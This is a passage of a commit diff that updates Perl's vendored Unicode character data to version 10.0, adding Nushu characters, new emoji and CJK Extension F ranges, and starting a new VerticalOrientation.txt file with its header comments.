+1B239;NUSHU CHARACTER-1B239;Lo;0;L;;;;;N;;;;;
+1B23A;NUSHU CHARACTER-1B23A;Lo;0;L;;;;;N;;;;;
+1B23B;NUSHU CHARACTER-1B23B;Lo;0;L;;;;;N;;;;;
+1B23C;NUSHU CHARACTER-1B23C;Lo;0;L;;;;;N;;;;;
+1B23D;NUSHU CHARACTER-1B23D;Lo;0;L;;;;;N;;;;;
+1B23E;NUSHU CHARACTER-1B23E;Lo;0;L;;;;;N;;;;;
+1B23F;NUSHU CHARACTER-1B23F;Lo;0;L;;;;;N;;;;;
+1B240;NUSHU CHARACTER-1B240;Lo;0;L;;;;;N;;;;;
+1B241;NUSHU CHARACTER-1B241;Lo;0;L;;;;;N;;;;;
+1B242;NUSHU CHARACTER-1B242;Lo;0;L;;;;;N;;;;;
+1B243;NUSHU CHARACTER-1B243;Lo;0;L;;;;;N;;;;;
+1B244;NUSHU CHARACTER-1B244;Lo;0;L;;;;;N;;;;;
+1B245;NUSHU CHARACTER-1B245;Lo;0;L;;;;;N;;;;;
+1B246;NUSHU CHARACTER-1B246;Lo;0;L;;;;;N;;;;;
+1B247;NUSHU CHARACTER-1B247;Lo;0;L;;;;;N;;;;;
+1B248;NUSHU CHARACTER-1B248;Lo;0;L;;;;;N;;;;;
+1B249;NUSHU CHARACTER-1B249;Lo;0;L;;;;;N;;;;;
+1B24A;NUSHU CHARACTER-1B24A;Lo;0;L;;;;;N;;;;;
+1B24B;NUSHU CHARACTER-1B24B;Lo;0;L;;;;;N;;;;;
+1B24C;NUSHU CHARACTER-1B24C;Lo;0;L;;;;;N;;;;;
+1B24D;NUSHU CHARACTER-1B24D;Lo;0;L;;;;;N;;;;;
+1B24E;NUSHU CHARACTER-1B24E;Lo;0;L;;;;;N;;;;;
+1B24F;NUSHU CHARACTER-1B24F;Lo;0;L;;;;;N;;;;;
+1B250;NUSHU CHARACTER-1B250;Lo;0;L;;;;;N;;;;;
+1B251;NUSHU CHARACTER-1B251;Lo;0;L;;;;;N;;;;;
+1B252;NUSHU CHARACTER-1B252;Lo;0;L;;;;;N;;;;;
+1B253;NUSHU CHARACTER-1B253;Lo;0;L;;;;;N;;;;;
+1B254;NUSHU CHARACTER-1B254;Lo;0;L;;;;;N;;;;;
+1B255;NUSHU CHARACTER-1B255;Lo;0;L;;;;;N;;;;;
+1B256;NUSHU CHARACTER-1B256;Lo;0;L;;;;;N;;;;;
+1B257;NUSHU CHARACTER-1B257;Lo;0;L;;;;;N;;;;;
+1B258;NUSHU CHARACTER-1B258;Lo;0;L;;;;;N;;;;;
+1B259;NUSHU CHARACTER-1B259;Lo;0;L;;;;;N;;;;;
+1B25A;NUSHU CHARACTER-1B25A;Lo;0;L;;;;;N;;;;;
+1B25B;NUSHU CHARACTER-1B25B;Lo;0;L;;;;;N;;;;;
+1B25C;NUSHU CHARACTER-1B25C;Lo;0;L;;;;;N;;;;;
+1B25D;NUSHU CHARACTER-1B25D;Lo;0;L;;;;;N;;;;;
+1B25E;NUSHU CHARACTER-1B25E;Lo;0;L;;;;;N;;;;;
+1B25F;NUSHU CHARACTER-1B25F;Lo;0;L;;;;;N;;;;;
+1B260;NUSHU CHARACTER-1B260;Lo;0;L;;;;;N;;;;;
+1B261;NUSHU CHARACTER-1B261;Lo;0;L;;;;;N;;;;;
+1B262;NUSHU CHARACTER-1B262;Lo;0;L;;;;;N;;;;;
+1B263;NUSHU CHARACTER-1B263;Lo;0;L;;;;;N;;;;;
+1B264;NUSHU CHARACTER-1B264;Lo;0;L;;;;;N;;;;;
+1B265;NUSHU CHARACTER-1B265;Lo;0;L;;;;;N;;;;;
+1B266;NUSHU CHARACTER-1B266;Lo;0;L;;;;;N;;;;;
+1B267;NUSHU CHARACTER-1B267;Lo;0;L;;;;;N;;;;;
+1B268;NUSHU CHARACTER-1B268;Lo;0;L;;;;;N;;;;;
+1B269;NUSHU CHARACTER-1B269;Lo;0;L;;;;;N;;;;;
+1B26A;NUSHU CHARACTER-1B26A;Lo;0;L;;;;;N;;;;;
+1B26B;NUSHU CHARACTER-1B26B;Lo;0;L;;;;;N;;;;;
+1B26C;NUSHU CHARACTER-1B26C;Lo;0;L;;;;;N;;;;;
+1B26D;NUSHU CHARACTER-1B26D;Lo;0;L;;;;;N;;;;;
+1B26E;NUSHU CHARACTER-1B26E;Lo;0;L;;;;;N;;;;;
+1B26F;NUSHU CHARACTER-1B26F;Lo;0;L;;;;;N;;;;;
+1B270;NUSHU CHARACTER-1B270;Lo;0;L;;;;;N;;;;;
+1B271;NUSHU CHARACTER-1B271;Lo;0;L;;;;;N;;;;;
+1B272;NUSHU CHARACTER-1B272;Lo;0;L;;;;;N;;;;;
+1B273;NUSHU CHARACTER-1B273;Lo;0;L;;;;;N;;;;;
+1B274;NUSHU CHARACTER-1B274;Lo;0;L;;;;;N;;;;;
+1B275;NUSHU CHARACTER-1B275;Lo;0;L;;;;;N;;;;;
+1B276;NUSHU CHARACTER-1B276;Lo;0;L;;;;;N;;;;;
+1B277;NUSHU CHARACTER-1B277;Lo;0;L;;;;;N;;;;;
+1B278;NUSHU CHARACTER-1B278;Lo;0;L;;;;;N;;;;;
+1B279;NUSHU CHARACTER-1B279;Lo;0;L;;;;;N;;;;;
+1B27A;NUSHU CHARACTER-1B27A;Lo;0;L;;;;;N;;;;;
+1B27B;NUSHU CHARACTER-1B27B;Lo;0;L;;;;;N;;;;;
+1B27C;NUSHU CHARACTER-1B27C;Lo;0;L;;;;;N;;;;;
+1B27D;NUSHU CHARACTER-1B27D;Lo;0;L;;;;;N;;;;;
+1B27E;NUSHU CHARACTER-1B27E;Lo;0;L;;;;;N;;;;;
+1B27F;NUSHU CHARACTER-1B27F;Lo;0;L;;;;;N;;;;;
+1B280;NUSHU CHARACTER-1B280;Lo;0;L;;;;;N;;;;;
+1B281;NUSHU CHARACTER-1B281;Lo;0;L;;;;;N;;;;;
+1B282;NUSHU CHARACTER-1B282;Lo;0;L;;;;;N;;;;;
+1B283;NUSHU CHARACTER-1B283;Lo;0;L;;;;;N;;;;;
+1B284;NUSHU CHARACTER-1B284;Lo;0;L;;;;;N;;;;;
+1B285;NUSHU CHARACTER-1B285;Lo;0;L;;;;;N;;;;;
+1B286;NUSHU CHARACTER-1B286;Lo;0;L;;;;;N;;;;;
+1B287;NUSHU CHARACTER-1B287;Lo;0;L;;;;;N;;;;;
+1B288;NUSHU CHARACTER-1B288;Lo;0;L;;;;;N;;;;;
+1B289;NUSHU CHARACTER-1B289;Lo;0;L;;;;;N;;;;;
+1B28A;NUSHU CHARACTER-1B28A;Lo;0;L;;;;;N;;;;;
+1B28B;NUSHU CHARACTER-1B28B;Lo;0;L;;;;;N;;;;;
+1B28C;NUSHU CHARACTER-1B28C;Lo;0;L;;;;;N;;;;;
+1B28D;NUSHU CHARACTER-1B28D;Lo;0;L;;;;;N;;;;;
+1B28E;NUSHU CHARACTER-1B28E;Lo;0;L;;;;;N;;;;;
+1B28F;NUSHU CHARACTER-1B28F;Lo;0;L;;;;;N;;;;;
+1B290;NUSHU CHARACTER-1B290;Lo;0;L;;;;;N;;;;;
+1B291;NUSHU CHARACTER-1B291;Lo;0;L;;;;;N;;;;;
+1B292;NUSHU CHARACTER-1B292;Lo;0;L;;;;;N;;;;;
+1B293;NUSHU CHARACTER-1B293;Lo;0;L;;;;;N;;;;;
+1B294;NUSHU CHARACTER-1B294;Lo;0;L;;;;;N;;;;;
+1B295;NUSHU CHARACTER-1B295;Lo;0;L;;;;;N;;;;;
+1B296;NUSHU CHARACTER-1B296;Lo;0;L;;;;;N;;;;;
+1B297;NUSHU CHARACTER-1B297;Lo;0;L;;;;;N;;;;;
+1B298;NUSHU CHARACTER-1B298;Lo;0;L;;;;;N;;;;;
+1B299;NUSHU CHARACTER-1B299;Lo;0;L;;;;;N;;;;;
+1B29A;NUSHU CHARACTER-1B29A;Lo;0;L;;;;;N;;;;;
+1B29B;NUSHU CHARACTER-1B29B;Lo;0;L;;;;;N;;;;;
+1B29C;NUSHU CHARACTER-1B29C;Lo;0;L;;;;;N;;;;;
+1B29D;NUSHU CHARACTER-1B29D;Lo;0;L;;;;;N;;;;;
+1B29E;NUSHU CHARACTER-1B29E;Lo;0;L;;;;;N;;;;;
+1B29F;NUSHU CHARACTER-1B29F;Lo;0;L;;;;;N;;;;;
+1B2A0;NUSHU CHARACTER-1B2A0;Lo;0;L;;;;;N;;;;;
+1B2A1;NUSHU CHARACTER-1B2A1;Lo;0;L;;;;;N;;;;;
+1B2A2;NUSHU CHARACTER-1B2A2;Lo;0;L;;;;;N;;;;;
+1B2A3;NUSHU CHARACTER-1B2A3;Lo;0;L;;;;;N;;;;;
+1B2A4;NUSHU CHARACTER-1B2A4;Lo;0;L;;;;;N;;;;;
+1B2A5;NUSHU CHARACTER-1B2A5;Lo;0;L;;;;;N;;;;;
+1B2A6;NUSHU CHARACTER-1B2A6;Lo;0;L;;;;;N;;;;;
+1B2A7;NUSHU CHARACTER-1B2A7;Lo;0;L;;;;;N;;;;;
+1B2A8;NUSHU CHARACTER-1B2A8;Lo;0;L;;;;;N;;;;;
+1B2A9;NUSHU CHARACTER-1B2A9;Lo;0;L;;;;;N;;;;;
+1B2AA;NUSHU CHARACTER-1B2AA;Lo;0;L;;;;;N;;;;;
+1B2AB;NUSHU CHARACTER-1B2AB;Lo;0;L;;;;;N;;;;;
+1B2AC;NUSHU CHARACTER-1B2AC;Lo;0;L;;;;;N;;;;;
+1B2AD;NUSHU CHARACTER-1B2AD;Lo;0;L;;;;;N;;;;;
+1B2AE;NUSHU CHARACTER-1B2AE;Lo;0;L;;;;;N;;;;;
+1B2AF;NUSHU CHARACTER-1B2AF;Lo;0;L;;;;;N;;;;;
+1B2B0;NUSHU CHARACTER-1B2B0;Lo;0;L;;;;;N;;;;;
+1B2B1;NUSHU CHARACTER-1B2B1;Lo;0;L;;;;;N;;;;;
+1B2B2;NUSHU CHARACTER-1B2B2;Lo;0;L;;;;;N;;;;;
+1B2B3;NUSHU CHARACTER-1B2B3;Lo;0;L;;;;;N;;;;;
+1B2B4;NUSHU CHARACTER-1B2B4;Lo;0;L;;;;;N;;;;;
+1B2B5;NUSHU CHARACTER-1B2B5;Lo;0;L;;;;;N;;;;;
+1B2B6;NUSHU CHARACTER-1B2B6;Lo;0;L;;;;;N;;;;;
+1B2B7;NUSHU CHARACTER-1B2B7;Lo;0;L;;;;;N;;;;;
+1B2B8;NUSHU CHARACTER-1B2B8;Lo;0;L;;;;;N;;;;;
+1B2B9;NUSHU CHARACTER-1B2B9;Lo;0;L;;;;;N;;;;;
+1B2BA;NUSHU CHARACTER-1B2BA;Lo;0;L;;;;;N;;;;;
+1B2BB;NUSHU CHARACTER-1B2BB;Lo;0;L;;;;;N;;;;;
+1B2BC;NUSHU CHARACTER-1B2BC;Lo;0;L;;;;;N;;;;;
+1B2BD;NUSHU CHARACTER-1B2BD;Lo;0;L;;;;;N;;;;;
+1B2BE;NUSHU CHARACTER-1B2BE;Lo;0;L;;;;;N;;;;;
+1B2BF;NUSHU CHARACTER-1B2BF;Lo;0;L;;;;;N;;;;;
+1B2C0;NUSHU CHARACTER-1B2C0;Lo;0;L;;;;;N;;;;;
+1B2C1;NUSHU CHARACTER-1B2C1;Lo;0;L;;;;;N;;;;;
+1B2C2;NUSHU CHARACTER-1B2C2;Lo;0;L;;;;;N;;;;;
+1B2C3;NUSHU CHARACTER-1B2C3;Lo;0;L;;;;;N;;;;;
+1B2C4;NUSHU CHARACTER-1B2C4;Lo;0;L;;;;;N;;;;;
+1B2C5;NUSHU CHARACTER-1B2C5;Lo;0;L;;;;;N;;;;;
+1B2C6;NUSHU CHARACTER-1B2C6;Lo;0;L;;;;;N;;;;;
+1B2C7;NUSHU CHARACTER-1B2C7;Lo;0;L;;;;;N;;;;;
+1B2C8;NUSHU CHARACTER-1B2C8;Lo;0;L;;;;;N;;;;;
+1B2C9;NUSHU CHARACTER-1B2C9;Lo;0;L;;;;;N;;;;;
+1B2CA;NUSHU CHARACTER-1B2CA;Lo;0;L;;;;;N;;;;;
+1B2CB;NUSHU CHARACTER-1B2CB;Lo;0;L;;;;;N;;;;;
+1B2CC;NUSHU CHARACTER-1B2CC;Lo;0;L;;;;;N;;;;;
+1B2CD;NUSHU CHARACTER-1B2CD;Lo;0;L;;;;;N;;;;;
+1B2CE;NUSHU CHARACTER-1B2CE;Lo;0;L;;;;;N;;;;;
+1B2CF;NUSHU CHARACTER-1B2CF;Lo;0;L;;;;;N;;;;;
+1B2D0;NUSHU CHARACTER-1B2D0;Lo;0;L;;;;;N;;;;;
+1B2D1;NUSHU CHARACTER-1B2D1;Lo;0;L;;;;;N;;;;;
+1B2D2;NUSHU CHARACTER-1B2D2;Lo;0;L;;;;;N;;;;;
+1B2D3;NUSHU CHARACTER-1B2D3;Lo;0;L;;;;;N;;;;;
+1B2D4;NUSHU CHARACTER-1B2D4;Lo;0;L;;;;;N;;;;;
+1B2D5;NUSHU CHARACTER-1B2D5;Lo;0;L;;;;;N;;;;;
+1B2D6;NUSHU CHARACTER-1B2D6;Lo;0;L;;;;;N;;;;;
+1B2D7;NUSHU CHARACTER-1B2D7;Lo;0;L;;;;;N;;;;;
+1B2D8;NUSHU CHARACTER-1B2D8;Lo;0;L;;;;;N;;;;;
+1B2D9;NUSHU CHARACTER-1B2D9;Lo;0;L;;;;;N;;;;;
+1B2DA;NUSHU CHARACTER-1B2DA;Lo;0;L;;;;;N;;;;;
+1B2DB;NUSHU CHARACTER-1B2DB;Lo;0;L;;;;;N;;;;;
+1B2DC;NUSHU CHARACTER-1B2DC;Lo;0;L;;;;;N;;;;;
+1B2DD;NUSHU CHARACTER-1B2DD;Lo;0;L;;;;;N;;;;;
+1B2DE;NUSHU CHARACTER-1B2DE;Lo;0;L;;;;;N;;;;;
+1B2DF;NUSHU CHARACTER-1B2DF;Lo;0;L;;;;;N;;;;;
+1B2E0;NUSHU CHARACTER-1B2E0;Lo;0;L;;;;;N;;;;;
+1B2E1;NUSHU CHARACTER-1B2E1;Lo;0;L;;;;;N;;;;;
+1B2E2;NUSHU CHARACTER-1B2E2;Lo;0;L;;;;;N;;;;;
+1B2E3;NUSHU CHARACTER-1B2E3;Lo;0;L;;;;;N;;;;;
+1B2E4;NUSHU CHARACTER-1B2E4;Lo;0;L;;;;;N;;;;;
+1B2E5;NUSHU CHARACTER-1B2E5;Lo;0;L;;;;;N;;;;;
+1B2E6;NUSHU CHARACTER-1B2E6;Lo;0;L;;;;;N;;;;;
+1B2E7;NUSHU CHARACTER-1B2E7;Lo;0;L;;;;;N;;;;;
+1B2E8;NUSHU CHARACTER-1B2E8;Lo;0;L;;;;;N;;;;;
+1B2E9;NUSHU CHARACTER-1B2E9;Lo;0;L;;;;;N;;;;;
+1B2EA;NUSHU CHARACTER-1B2EA;Lo;0;L;;;;;N;;;;;
+1B2EB;NUSHU CHARACTER-1B2EB;Lo;0;L;;;;;N;;;;;
+1B2EC;NUSHU CHARACTER-1B2EC;Lo;0;L;;;;;N;;;;;
+1B2ED;NUSHU CHARACTER-1B2ED;Lo;0;L;;;;;N;;;;;
+1B2EE;NUSHU CHARACTER-1B2EE;Lo;0;L;;;;;N;;;;;
+1B2EF;NUSHU CHARACTER-1B2EF;Lo;0;L;;;;;N;;;;;
+1B2F0;NUSHU CHARACTER-1B2F0;Lo;0;L;;;;;N;;;;;
+1B2F1;NUSHU CHARACTER-1B2F1;Lo;0;L;;;;;N;;;;;
+1B2F2;NUSHU CHARACTER-1B2F2;Lo;0;L;;;;;N;;;;;
+1B2F3;NUSHU CHARACTER-1B2F3;Lo;0;L;;;;;N;;;;;
+1B2F4;NUSHU CHARACTER-1B2F4;Lo;0;L;;;;;N;;;;;
+1B2F5;NUSHU CHARACTER-1B2F5;Lo;0;L;;;;;N;;;;;
+1B2F6;NUSHU CHARACTER-1B2F6;Lo;0;L;;;;;N;;;;;
+1B2F7;NUSHU CHARACTER-1B2F7;Lo;0;L;;;;;N;;;;;
+1B2F8;NUSHU CHARACTER-1B2F8;Lo;0;L;;;;;N;;;;;
+1B2F9;NUSHU CHARACTER-1B2F9;Lo;0;L;;;;;N;;;;;
+1B2FA;NUSHU CHARACTER-1B2FA;Lo;0;L;;;;;N;;;;;
+1B2FB;NUSHU CHARACTER-1B2FB;Lo;0;L;;;;;N;;;;;
 1BC00;DUPLOYAN LETTER H;Lo;0;L;;;;;N;;;;;
 1BC01;DUPLOYAN LETTER X;Lo;0;L;;;;;N;;;;;
 1BC02;DUPLOYAN LETTER P;Lo;0;L;;;;;N;;;;;
@@ -28269,6 +29217,12 @@
 1F248;TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557;So;0;L;<compat> 3014 6557 3015;;;;N;;;;;
 1F250;CIRCLED IDEOGRAPH ADVANTAGE;So;0;L;<circle> 5F97;;;;N;;;;;
 1F251;CIRCLED IDEOGRAPH ACCEPT;So;0;L;<circle> 53EF;;;;N;;;;;
+1F260;ROUNDED SYMBOL FOR FU;So;0;ON;;;;;N;;;;;
+1F261;ROUNDED SYMBOL FOR LU;So;0;ON;;;;;N;;;;;
+1F262;ROUNDED SYMBOL FOR SHOU;So;0;ON;;;;;N;;;;;
+1F263;ROUNDED SYMBOL FOR XI;So;0;ON;;;;;N;;;;;
+1F264;ROUNDED SYMBOL FOR SHUANGXI;So;0;ON;;;;;N;;;;;
+1F265;ROUNDED SYMBOL FOR CAI;So;0;ON;;;;;N;;;;;
 1F300;CYCLONE;So;0;ON;;;;;N;;;;;
 1F301;FOGGY;So;0;ON;;;;;N;;;;;
 1F302;CLOSED UMBRELLA;So;0;ON;;;;;N;;;;;
@@ -29248,6 +30202,8 @@
 1F6D0;PLACE OF WORSHIP;So;0;ON;;;;;N;;;;;
 1F6D1;OCTAGONAL SIGN;So;0;ON;;;;;N;;;;;
 1F6D2;SHOPPING TROLLEY;So;0;ON;;;;;N;;;;;
+1F6D3;STUPA;So;0;ON;;;;;N;;;;;
+1F6D4;PAGODA;So;0;ON;;;;;N;;;;;
 1F6E0;HAMMER AND WRENCH;So;0;ON;;;;;N;;;;;
 1F6E1;SHIELD;So;0;ON;;;;;N;;;;;
 1F6E2;OIL DRUM;So;0;ON;;;;;N;;;;;
@@ -29268,6 +30224,8 @@
 1F6F4;SCOOTER;So;0;ON;;;;;N;;;;;
 1F6F5;MOTOR SCOOTER;So;0;ON;;;;;N;;;;;
 1F6F6;CANOE;So;0;ON;;;;;N;;;;;
+1F6F7;SLED;So;0;ON;;;;;N;;;;;
+1F6F8;FLYING SAUCER;So;0;ON;;;;;N;;;;;
 1F700;ALCHEMICAL SYMBOL FOR QUINTESSENCE;So;0;ON;;;;;N;;;;;
 1F701;ALCHEMICAL SYMBOL FOR AIR;So;0;ON;;;;;N;;;;;
 1F702;ALCHEMICAL SYMBOL FOR FIRE;So;0;ON;;;;;N;;;;;
@@ -29617,6 +30575,18 @@
 1F8AB;RIGHTWARDS FRONT-TILTED SHADOWED WHITE ARROW;So;0;ON;;;;;N;;;;;
 1F8AC;WHITE ARROW SHAFT WIDTH ONE;So;0;ON;;;;;N;;;;;
 1F8AD;WHITE ARROW SHAFT WIDTH TWO THIRDS;So;0;ON;;;;;N;;;;;
+1F900;CIRCLED CROSS FORMEE WITH FOUR DOTS;So;0;ON;;;;;N;;;;;
+1F901;CIRCLED CROSS FORMEE WITH TWO DOTS;So;0;ON;;;;;N;;;;;
+1F902;CIRCLED CROSS FORMEE;So;0;ON;;;;;N;;;;;
+1F903;LEFT HALF CIRCLE WITH FOUR DOTS;So;0;ON;;;;;N;;;;;
+1F904;LEFT HALF CIRCLE WITH THREE DOTS;So;0;ON;;;;;N;;;;;
+1F905;LEFT HALF CIRCLE WITH TWO DOTS;So;0;ON;;;;;N;;;;;
+1F906;LEFT HALF CIRCLE WITH DOT;So;0;ON;;;;;N;;;;;
+1F907;LEFT HALF CIRCLE;So;0;ON;;;;;N;;;;;
+1F908;DOWNWARD FACING HOOK;So;0;ON;;;;;N;;;;;
+1F909;DOWNWARD FACING NOTCHED HOOK;So;0;ON;;;;;N;;;;;
+1F90A;DOWNWARD FACING HOOK WITH DOT;So;0;ON;;;;;N;;;;;
+1F90B;DOWNWARD FACING NOTCHED HOOK WITH DOT;So;0;ON;;;;;N;;;;;
 1F910;ZIPPER-MOUTH FACE;So;0;ON;;;;;N;;;;;
 1F911;MONEY-MOUTH FACE;So;0;ON;;;;;N;;;;;
 1F912;FACE WITH THERMOMETER;So;0;ON;;;;;N;;;;;
@@ -29632,6 +30602,7 @@
 1F91C;RIGHT-FACING FIST;So;0;ON;;;;;N;;;;;
 1F91D;HANDSHAKE;So;0;ON;;;;;N;;;;;
 1F91E;HAND WITH INDEX AND MIDDLE FINGERS CROSSED;So;0;ON;;;;;N;;;;;
+1F91F;I LOVE YOU HAND SIGN;So;0;ON;;;;;N;;;;;
 1F920;FACE WITH COWBOY HAT;So;0;ON;;;;;N;;;;;
 1F921;CLOWN FACE;So;0;ON;;;;;N;;;;;
 1F922;NAUSEATED FACE;So;0;ON;;;;;N;;;;;
@@ -29640,7 +30611,17 @@
 1F925;LYING FACE;So;0;ON;;;;;N;;;;;
 1F926;FACE PALM;So;0;ON;;;;;N;;;;;
 1F927;SNEEZING FACE;So;0;ON;;;;;N;;;;;
+1F928;FACE WITH ONE EYEBROW RAISED;So;0;ON;;;;;N;;;;;
+1F929;GRINNING FACE WITH STAR EYES;So;0;ON;;;;;N;;;;;
+1F92A;GRINNING FACE WITH ONE LARGE AND ONE SMALL EYE;So;0;ON;;;;;N;;;;;
+1F92B;FACE WITH FINGER COVERING CLOSED LIPS;So;0;ON;;;;;N;;;;;
+1F92C;SERIOUS FACE WITH SYMBOLS COVERING MOUTH;So;0;ON;;;;;N;;;;;
+1F92D;SMILING FACE WITH SMILING EYES AND HAND COVERING MOUTH;So;0;ON;;;;;N;;;;;
+1F92E;FACE WITH OPEN MOUTH VOMITING;So;0;ON;;;;;N;;;;;
+1F92F;SHOCKED FACE WITH EXPLODING HEAD;So;0;ON;;;;;N;;;;;
 1F930;PREGNANT WOMAN;So;0;ON;;;;;N;;;;;
+1F931;BREAST-FEEDING;So;0;ON;;;;;N;;;;;
+1F932;PALMS UP TOGETHER;So;0;ON;;;;;N;;;;;
 1F933;SELFIE;So;0;ON;;;;;N;;;;;
 1F934;PRINCE;So;0;ON;;;;;N;;;;;
 1F935;MAN IN TUXEDO;So;0;ON;;;;;N;;;;;
@@ -29665,6 +30646,7 @@
 1F949;THIRD PLACE MEDAL;So;0;ON;;;;;N;;;;;
 1F94A;BOXING GLOVE;So;0;ON;;;;;N;;;;;
 1F94B;MARTIAL ARTS UNIFORM;So;0;ON;;;;;N;;;;;
+1F94C;CURLING STONE;So;0;ON;;;;;N;;;;;
 1F950;CROISSANT;So;0;ON;;;;;N;;;;;
 1F951;AVOCADO;So;0;ON;;;;;N;;;;;
 1F952;CUCUMBER;So;0;ON;;;;;N;;;;;
@@ -29680,6 +30662,19 @@
 1F95C;PEANUTS;So;0;ON;;;;;N;;;;;
 1F95D;KIWIFRUIT;So;0;ON;;;;;N;;;;;
 1F95E;PANCAKES;So;0;ON;;;;;N;;;;;
+1F95F;DUMPLING;So;0;ON;;;;;N;;;;;
+1F960;FORTUNE COOKIE;So;0;ON;;;;;N;;;;;
+1F961;TAKEOUT BOX;So;0;ON;;;;;N;;;;;
+1F962;CHOPSTICKS;So;0;ON;;;;;N;;;;;
+1F963;BOWL WITH SPOON;So;0;ON;;;;;N;;;;;
+1F964;CUP WITH STRAW;So;0;ON;;;;;N;;;;;
+1F965;COCONUT;So;0;ON;;;;;N;;;;;
+1F966;BROCCOLI;So;0;ON;;;;;N;;;;;
+1F967;PIE;So;0;ON;;;;;N;;;;;
+1F968;PRETZEL;So;0;ON;;;;;N;;;;;
+1F969;CUT OF MEAT;So;0;ON;;;;;N;;;;;
+1F96A;SANDWICH;So;0;ON;;;;;N;;;;;
+1F96B;CANNED FOOD;So;0;ON;;;;;N;;;;;
 1F980;CRAB;So;0;ON;;;;;N;;;;;
 1F981;LION FACE;So;0;ON;;;;;N;;;;;
 1F982;SCORPION;So;0;ON;;;;;N;;;;;
@@ -29698,7 +30693,36 @@
 1F98F;RHINOCEROS;So;0;ON;;;;;N;;;;;
 1F990;SHRIMP;So;0;ON;;;;;N;;;;;
 1F991;SQUID;So;0;ON;;;;;N;;;;;
+1F992;GIRAFFE FACE;So;0;ON;;;;;N;;;;;
+1F993;ZEBRA FACE;So;0;ON;;;;;N;;;;;
+1F994;HEDGEHOG;So;0;ON;;;;;N;;;;;
+1F995;SAUROPOD;So;0;ON;;;;;N;;;;;
+1F996;T-REX;So;0;ON;;;;;N;;;;;
+1F997;CRICKET;So;0;ON;;;;;N;;;;;
 1F9C0;CHEESE WEDGE;So;0;ON;;;;;N;;;;;
+1F9D0;FACE WITH MONOCLE;So;0;ON;;;;;N;;;;;
+1F9D1;ADULT;So;0;ON;;;;;N;;;;;
+1F9D2;CHILD;So;0;ON;;;;;N;;;;;
+1F9D3;OLDER ADULT;So;0;ON;;;;;N;;;;;
+1F9D4;BEARDED PERSON;So;0;ON;;;;;N;;;;;
+1F9D5;PERSON WITH HEADSCARF;So;0;ON;;;;;N;;;;;
+1F9D6;PERSON IN STEAMY ROOM;So;0;ON;;;;;N;;;;;
+1F9D7;PERSON CLIMBING;So;0;ON;;;;;N;;;;;
+1F9D8;PERSON IN LOTUS POSITION;So;0;ON;;;;;N;;;;;
+1F9D9;MAGE;So;0;ON;;;;;N;;;;;
+1F9DA;FAIRY;So;0;ON;;;;;N;;;;;
+1F9DB;VAMPIRE;So;0;ON;;;;;N;;;;;
+1F9DC;MERPERSON;So;0;ON;;;;;N;;;;;
+1F9DD;ELF;So;0;ON;;;;;N;;;;;
+1F9DE;GENIE;So;0;ON;;;;;N;;;;;
+1F9DF;ZOMBIE;So;0;ON;;;;;N;;;;;
+1F9E0;BRAIN;So;0;ON;;;;;N;;;;;
+1F9E1;ORANGE HEART;So;0;ON;;;;;N;;;;;
+1F9E2;BILLED CAP;So;0;ON;;;;;N;;;;;
+1F9E3;SCARF;So;0;ON;;;;;N;;;;;
+1F9E4;GLOVES;So;0;ON;;;;;N;;;;;
+1F9E5;COAT;So;0;ON;;;;;N;;;;;
+1F9E6;SOCKS;So;0;ON;;;;;N;;;;;
 20000;<CJK Ideograph Extension B, First>;Lo;0;L;;;;;N;;;;;
 2A6D6;<CJK Ideograph Extension B, Last>;Lo;0;L;;;;;N;;;;;
 2A700;<CJK Ideograph Extension C, First>;Lo;0;L;;;;;N;;;;;
@@ -29707,6 +30731,8 @@
 2B81D;<CJK Ideograph Extension D, Last>;Lo;0;L;;;;;N;;;;;
 2B820;<CJK Ideograph Extension E, First>;Lo;0;L;;;;;N;;;;;
 2CEA1;<CJK Ideograph Extension E, Last>;Lo;0;L;;;;;N;;;;;
+2CEB0;<CJK Ideograph Extension F, First>;Lo;0;L;;;;;N;;;;;
+2EBE0;<CJK Ideograph Extension F, Last>;Lo;0;L;;;;;N;;;;;
 2F800;CJK COMPATIBILITY IDEOGRAPH-2F800;Lo;0;L;4E3D;;;;N;;;;;
 2F801;CJK COMPATIBILITY IDEOGRAPH-2F801;Lo;0;L;4E38;;;;N;;;;;
 2F802;CJK COMPATIBILITY IDEOGRAPH-2F802;Lo;0;L;4E41;;;;N;;;;;

Added: vendor/perl/dist/lib/unicore/VerticalOrientation.txt
===================================================================
--- vendor/perl/dist/lib/unicore/VerticalOrientation.txt	                        (rev 0)
+++ vendor/perl/dist/lib/unicore/VerticalOrientation.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2199 @@
+# VerticalOrientation-10.0.0.txt
+# Date: 2017-03-08, 02:05:46 GMT [EM, KI, LI]
+# © 2017 Unicode®, Inc.
+# Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
+# For terms of use, see http://www.unicode.org/terms_of_use.html
+#
+# Unicode Character Database
+# For documentation, see http://www.unicode.org/reports/tr44/
+#
+# Vertical_Orientation (vo) Property
+#
+# This file defines the Vertical_Orientation property. See UAX #50:
+# Unicode Vertical Text Layout, at http://www.unicode.org/reports/tr50/
+#
+# The format of the file is two fields separated by a semicolon.
+# Field 0: Unicode code point value or range of code point values in
+#   hexadecimal form
+# Field 1: Vertical_Orientation property value, one of the following:
+#   U - Upright, the same orientation as in the code charts
+#   R - Rotated 90 degrees clockwise compared to the code charts
+#   Tu - Transformed typographically, with fallback to Upright
+#   Tr - Transformed typographically, with fallback to Rotated
+#
+#  - Certain ranges of unassigned code points default to U. These ranges
+#      are mostly associated with CJK scripts and punctuation, or with
+#      a small number of other scripts which are predominantly Upright.
+#      The private use areas also default to U, because of their most
+#      common use for CJK. In the following list of explicit code points
+#      and ranges, all unassigned code points default to U:
+#         Canadian Syllabics Extended:        U+18B0..U+18FF
+#         Reserved Default_Ignorable_Code_Point:      U+2065
+#         Number Forms:                       U+2150..U+218F
+#         Control Pictures & OCR              U+2400..U+245F
+#         Symbols:                            U+2BB8..U+2BFF
+#         CJK-Related & Yi:                   U+2E80..U+A4CF
+#         Hangul Jamo Extended-A:             U+A960..U+A97F
+#         Hangul Syllables & Jamo Extended-B: U+AC00..U+D7FF
+#         PUA & CJK Compatibility Ideographs: U+E000..U+FAFF
+#         Vertical Forms:                     U+FE10..U+FE1F
+#         Small Form Variants:                U+FE50..U+FE6F
+#         Fullwidth Forms:                            U+FFE7
+#         Specials:                           U+FFF0..U+FFF8
+#         Siddham:                           U+11580..U+115FF
+#         Zanabazar Square & Soyombo:        U+11A00..U+11AAF
+#         Egyptian Hieroglyphs:              U+13000..U+1342F
